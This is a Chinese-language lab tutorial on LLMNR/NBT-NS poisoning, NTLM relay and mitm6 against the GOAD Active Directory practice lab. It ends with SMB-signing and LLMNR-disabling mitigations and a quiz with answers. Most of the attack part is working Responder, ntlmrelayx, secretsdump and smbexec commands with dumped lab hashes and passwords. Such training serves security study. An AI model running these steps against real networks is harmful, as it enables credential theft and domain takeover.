今天我們要進入更深層的攻擊技術:LLMNR/NBT-NS 投毒 與 NTLM Relay 攻擊。這些技術讓我們從「擁有基礎憑證」進展到「劫持網路流量」並「中繼認證到其他系統」,是橫向移動的關鍵技術。當你掌握這些技術後,就能理解為什麼 SMB 簽章如此重要!
在完成今天的實作後,將能夠:
在開始之前,確保已經完成:
samwell.tarly:Heartsbane
brandon.stark:iseedeadpeople
jon.snow:iknownothing
# 安裝 Responder
sudo apt update
sudo apt install responder -y
# 下載並安裝最新版 Impacket(包含 ntlmrelayx)
git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket
python3 -m venv ~/.venvs/impacket
source ~/.venvs/impacket/bin/activate
cd ~/impacket
pip install .
當 Windows 無法透過 DNS 解析主機名稱時,會使用備用機制:
正常流程:
使用者 → DNS 查詢 → 失敗 → LLMNR/NBT-NS 廣播 → 正確主機回應
攻擊流程:
使用者 → DNS 查詢 → 失敗 → LLMNR/NBT-NS 廣播 → 攻擊者搶先回應 → 取得認證
首先,確認網路介面:
ip addr show | grep "inet"
# 找到連接到 GOAD 網路的介面(如 eth1: 192.168.139.136)
啟動 Responder:
sudo responder -I eth1 -wv
參數說明:
-I eth1
:指定網路介面-w
:啟用 WPAD(Web Proxy Auto-Discovery)-v
:詳細輸出模式預期輸出:
[+] Listening for events...
[*] [LLMNR] Poisoned answer sent to 192.168.139.22 for name bravos
[*] [NBT-NS] Poisoned answer sent to 192.168.139.22 for name BRAVOS
[+] Responder is answering to LLMNR/NBT-NS requests from the broadcast domain
等待幾分鐘後,應該會看到:
[SMB] NTLMv2-SSP Client : 192.168.139.22
[SMB] NTLMv2-SSP Username : NORTH\robb.stark
[SMB] NTLMv2-SSP Hash : robb.stark::NORTH:1122334455667788:138B29A14C5A082F...
儲存 hash 到檔案:
cat > responder_hashes.txt << 'EOF'
robb.stark::NORTH:08ce1ae59e0e6457:D93FC81306B4C01BEECD945569E0E01B:010100000000000000946955132ADC018BA920EAB16AA3D600000000020008004E0033004900490001001E00570049004E002D005900580056004C00380039005A003600570049004A0004003400570049004E002D005900580056004C00380039005A003600570049004A002E004E003300490049002E004C004F00430041004C00030014004E003300490049002E004C004F00430041004C00050014004E003300490049002E004C004F00430041004C000700080000946955132ADC0106000400020000000800300030000000000000000000000000300000E981053E0F27716FCFA0F6BCEF5C166F6007D250BF1922C6D6CFA88E844F65530A001000000000000000000000000000000000000900160063006900660073002F0042007200610076006F0073000000000000000000
eddard.stark::NORTH:bdc76ba253d51c00:2BF01F83C2366B98C383D7129800C816:010100000000000000946955132ADC01F06FD66FE77387E100000000020008004E0033004900490001001E00570049004E002D005900580056004C00380039005A003600570049004A0004003400570049004E002D005900580056004C00380039005A003600570049004A002E004E003300490049002E004C004F00430041004C00030014004E003300490049002E004C004F00430041004C00050014004E003300490049002E004C004F00430041004C000700080000946955132ADC0106000400020000000800300030000000000000000000000000300000E981053E0F27716FCFA0F6BCEF5C166F6007D250BF1922C6D6CFA88E844F65530A001000000000000000000000000000000000000900140063006900660073002F004D006500720065006E000000000000000000
EOF
使用 hashcat 破解:
hashcat -m 5600 responder_hashes.txt/usr/share/wordlists/rockyou.txt --force
結果分析:
robb.stark:sexywolfy
- 弱密碼,快速破解成功!eddard.stark
- 強密碼,無法破解,可改其他方法測試。socks
指令查看目前的連線重新掃描確認目標:
crackmapexec smb 192.168.139.10-23 --gen-relay-list smb_targets.txt
cat smb_targets.txt
輸出應該包含:
192.168.139.22 # CASTELBLACK - signing:False
192.168.139.23 # BRAAVOS - signing:False
修改 Responder 設定,關閉 SMB 和 HTTP 伺服器:
# 關閉 SMB 伺服器(我們要 relay,不要直接捕獲)
sudo vim /usr/share/responder/Responder.conf
# 確認設定
grep -E "SMB|HTTP" /usr/share/responder/Responder.conf
cd ~
git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket
在一個終端機啟動 ntlmrelayx:
python3 -m venv ~/.venvs/impacket
source ~/.venvs/impacket/bin/activate
cd ~/impacket
pip install .
ls ~/.venvs/impacket/bin | grep -E 'ntlmrelayx|secretsdump|impacket'
sudo ~/.venvs/impacket/bin/ntlmrelayx.py -tf ~/smb_targets.txt -of netntlm -smb2support -socks
參數說明:
-tf smb_targets.txt
:目標清單檔案-smb2support
:支援 SMB2 協定-socks
:建立 SOCKS 代理供後續利用-of netntlm
: 會同時把 relay 到的 NTLM hash 存下來,方便後續破解在另一個終端機:
sudo responder -I eth1 -wv
當 eddard.stark(Domain Admin)的連線被中繼後:
[*] SMBD-Thread-4: Received connection from 192.168.139.11
[*] Authenticating against smb://192.168.139.22 as NORTH\EDDARD.STARK SUCCEED
[*] SOCKS: Adding NORTH/EDDARD.STARK@192.168.139.22 (445) to active SOCKS connection
[*] SOCKS: Adding NORTH/EDDARD.STARK@192.168.139.23 (445) to active SOCKS connection
sudo vim /etc/proxychains4.conf
[ProxyList]
socks5 127.0.0.1 1080
proxychains4 ~/.venvs/impacket/bin/secretsdump.py -no-pass 'NORTH'/'EDDARD.STARK'@'192.168.139.22'
預期輸出:
┌──(impacket)─(kali ㉿ kali)-[~]
└─$ proxychains4 ~/.venvs/impacket/bin/secretsdump.py -no-pass 'NORTH'/'EDDARD.STARK'@'192.168.139.22'
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
Impacket v0.13.0.dev0+20250919.210843.8426ec99 - Copyright Fortra, LLC and its affiliated companies
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.139.22:445 ... OK
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x97bdbb2a7e445586ab196ea5f4a95269
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:dbd13e1c4e338284ac4e9874f7de6ef4:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:9ab6e3005740e48ad3d422bc52e986ae:::
vagrant:1000:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::
[*] Dumping cached domain logon information (domain/username:hash)
NORTH.SEVENKINGDOMS.LOCAL/sql_svc:$DCC2$10240#sql_svc#89e701ebbd305e4f5380c5150494584a: (2025-09-16 06:56:09+00:00)
NORTH.SEVENKINGDOMS.LOCAL/robb.stark:$DCC2$10240#robb.stark#f19bfb9b10ba923f2e28b733e5dd1405: (2025-09-18 11:41:51+00:00)
NORTH.SEVENKINGDOMS.LOCAL/jon.snow:$DCC2$10240#jon.snow#82fdcc982f02b389a002732efaca9dc5: (2025-09-19 13:59:52+00:00)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
NORTH\CASTELBLACK$:aes256-cts-hmac-sha1-96:3f73496074e4a6bda4eaea54a048eb80790e36e6c1ecaad480cd5a8b1bf4b439
NORTH\CASTELBLACK$:aes128-cts-hmac-sha1-96:064a4d1d1716e0e6ec467f568c8e6cbf
NORTH\CASTELBLACK$:des-cbc-md5:ce1a4c3bdff4a2fb
NORTH\CASTELBLACK$:plain_password_hex:23004c0069005b003600450041004900380024005b002c005400790041006300630030005b002d004b00340052002f0053005200560046005d0059006c00220049005d007700600049005e00550050006e00590055004000450079006700390041004400610041003a002e007a0043005300390078002f0064003f004d004b00630060006000570062007a0067004b006a0025006a007a002e0067003300450057003600610020003f00670020003f002a00600075002c0043002f004d0022005f007300740040003a003b00360075006e0046002f004b0026004200230024005b0028007a005c002a00360058007000
NORTH\CASTELBLACK$:aad3b435b51404eeaad3b435b51404ee:aa9f662562792331251c9e43b72c5caf:::
[*] DPAPI_SYSTEM
dpapi_machinekey:0x0f1113067198e23d8ab8c582ae795072cdc46d9a
dpapi_userkey:0x96518c271863cd30ca45830c38eaecd1d0bff46e
[*] NL$KM
0000 A0 B9 07 4A 55 70 F9 F9 FA CC 68 30 15 F5 95 A2 ...JUp....h0....
0010 58 69 29 AD 87 BA A5 9F 76 EB AC F3 07 63 71 5A Xi).....v....cqZ
0020 ED 26 C1 FC 5A 2B D3 25 A0 74 E6 E4 90 53 D5 19 .&..Z+.%.t...S..
0030 E8 D6 BD D0 F3 36 76 5A A6 74 1B 5B D8 30 90 2A .....6vZ.t.[.0.*
NL$KM:a0b9074a5570f9f9facc683015f595a2586929ad87baa59f76ebacf30763715aed26c1fc5a2bd325a074e6e49053d519e8d6bdd0f336765aa6741b5bd830902a
[*] _SC_MSSQL$SQLEXPRESS
north.sevenkingdoms.local\sql_svc:YouWillNotKerboroast1ngMeeeeee
[*] Cleaning up...
[*] Stopping service RemoteRegistry
ls ~/.venvs/impacket/bin | grep -E 'lsassy'
proxychains4 lsassy --no-pass -d NORTH -u EDDARD.STARK 192.168.139.22
proxychains4 ~/.venvs/impacket/bin/smbexec.py -no-pass 'NORTH'/'EDDARD.STARK'@'192.168.139.22' -debug
成功取得 system 的權限
# 確認目標是否啟用IPv6
ping -6 ::1
# 確認網路支援IPv6
ip -6 addr show
# Windows端確認
ipconfig /all | findstr IPv6
mitm6 利用 IPv6 的特性來成為網路中的預設 DNS 伺服器,可以:
sudo pip3 install mitm6
# 啟動 mitm6
sudo ~/.venvs/impacket/bin/mitm6 -i eth1 -d north.sevenkingdoms.local --debug
# 中繼到 LDAPS 並新增電腦帳號
sudo ~/.venvs/impacket/bin/ntlmrelayx.py -6 -wh wpadfakeserver.north.sevenkingdoms.local \
-t ldaps://192.168.139.11 --add-computer relayedpc --delegate-access
當攻擊成功後,會建立一個具有委派權限的電腦帳號,可用於後續的 RBCD 攻擊。
# 在所有 Domain Controller 強制啟用
Set-SmbServerConfiguration -RequireSecuritySignature $True -Force
# 在所有成員伺服器啟用
Set-SmbClientConfiguration -RequireSecuritySignature $True -Force
# 透過 GPO 停用 LLMNR
# Computer Configuration → Administrative Templates → Network → DNS Client
# Turn off multicast name resolution → Enabled
# 停用 NBT-NS
# Network Connections → Properties → TCP/IPv4 → Advanced → WINS
# Disable NetBIOS over TCP/IP
# 透過 Registry 停用
New-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\WinHttpAutoProxySvc" `
-Name Start -Value 4 -PropertyType DWORD -Force
監控以下 Windows 事件:
只使用 Responder 收集 hash,不進行 relay:
# 完整模式收集
sudo responder -I eth1 -wFPv
# 分析收集到的 hash
ls -la /usr/share/responder/logs/
只 relay 特定高權限使用者:
# 建立目標使用者清單
echo "NORTH\eddard.stark" > target_users.txt
# 執行目標式 relay
sudo ntlmrelayx.py -tf smb_targets.txt --target-users target_users.txt -socks
如果中繼成功且有適當權限:
proxychains4 secretsdump.py -no-pass 'NORTH'/'EDDARD.STARK'@'192.168.139.11' -just-dc
階段 | 技術 | 取得內容 | 下一步 |
---|---|---|---|
1 | LLMNR 投毒 | NetNTLMv2 Hash | 破解或 Relay |
2 | 弱密碼破解 | robb.stark 密碼 | 橫向移動 |
3 | NTLM Relay | SYSTEM 權限 | 提取憑證 |
4 | 憑證提取 | 更多 hash / 密碼 | 持續橫向 |
5 | mitm6+LDAPS | 電腦帳號 | RBCD 攻擊 |
signing:False
)/etc/proxychains4.conf
)如果 crackmapexec 顯示 signing:True 但仍可 relay:
nmap --script smb-security-mode
再次確認除了現有說明,補充:
A. SMB 簽章會加密所有流量
B. SMB 簽章確保訊息完整性,防止中間人竄改
C. SMB 簽章會停用 NTLM 認證
D. SMB 簽章會強制使用 Kerberos
A. Windows 預設偏好 IPv4 而非 IPv6
B. Windows 預設偏好 IPv6 而非 IPv4
C. DNS 伺服器不支援 IPv6
D. LDAP 只能透過 IPv6 存取
A. ntlmrelayx.py -t ldap://dc.local
B. ntlmrelayx.py -t ldaps://dc.local --remove-mic
C. responder -I eth0 --ldap
D. mitm6 --relay ldaps://dc.local
A. 使用 secretsdump 提取本機的 SAM
B. 透過 smbclient 瀏覽共享資料夾
C. 執行 DCSync 提取 krbtgt hash
D. 使用 lsassy 讀取 LSASS
A. 啟用 Windows 防火牆
B. 停用 LLMNR 和 NBT-NS 協定
C. 定期更換密碼
D. 安裝防毒軟體
Q1 答案:B
解析:SMB 簽章使用共享金鑰對每個封包進行簽章,確保訊息來自真正的發送者且未被竄改,這使得中間人無法偽造或轉發認證。
Q2 答案:B
解析:Windows 預設偏好 IPv6 優先於 IPv4。mitm6 利用這點,透過回應 DHCPv6 請求來成為網路的 DNS 伺服器。
Q3 答案:B
解析:LDAPS 需要移除 MIC(Message Integrity Check)才能成功 relay,這是 CVE-2019-1040 的利用方式。
Q4 答案:C
解析:DCSync 會提取整個網域的密碼 hash,包括 krbtgt,這能讓攻擊者製作 Golden Ticket,風險極高且難以清除。
Q5 答案:B
解析:直接停用 LLMNR 和 NBT-NS 協定是最根本的防禦,因為沒有這些協定,攻擊者就無法進行投毒。